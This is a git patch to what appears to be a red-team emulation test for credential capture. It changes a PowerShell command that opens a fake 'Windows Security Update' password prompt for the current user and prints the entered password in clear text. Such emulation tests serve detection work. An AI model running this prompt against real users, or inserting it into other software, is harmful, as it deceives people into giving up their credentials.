From 6635e0cb36c208de92d07409f366cb13c6cb826c Mon Sep 17 00:00:00 2001 From: dwhite9 Date: Mon, 18 Nov 2019 09:17:34 -0600 Subject: [PATCH] Switched executor to powershell. Fixed commandline to run correctly and (#669) added comments for clarification. --- atomics/T1141/T1141.yaml | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/atomics/T1141/T1141.yaml b/atomics/T1141/T1141.yaml index 4c4eafb3..040ac959 100644 --- a/atomics/T1141/T1141.yaml +++ b/atomics/T1141/T1141.yaml @@ -27,7 +27,10 @@ atomic_tests: - windows executor: - name: command_prompt + name: powershell elevation_required: false command: | - powershell.exe -command {$cred = $host.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName); echo $cred.GetNetworkCredential().Password;} \ No newline at end of file + # Creates GUI to prompt for password. Expect long pause before prompt is available. + $cred = $host.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName) + # Using write-warning to allow message to show on console as echo and other similar commands are not visable from the Invoke-AtomicTest framework. + write-warning $cred.GetNetworkCredential().Password \ No newline at end of file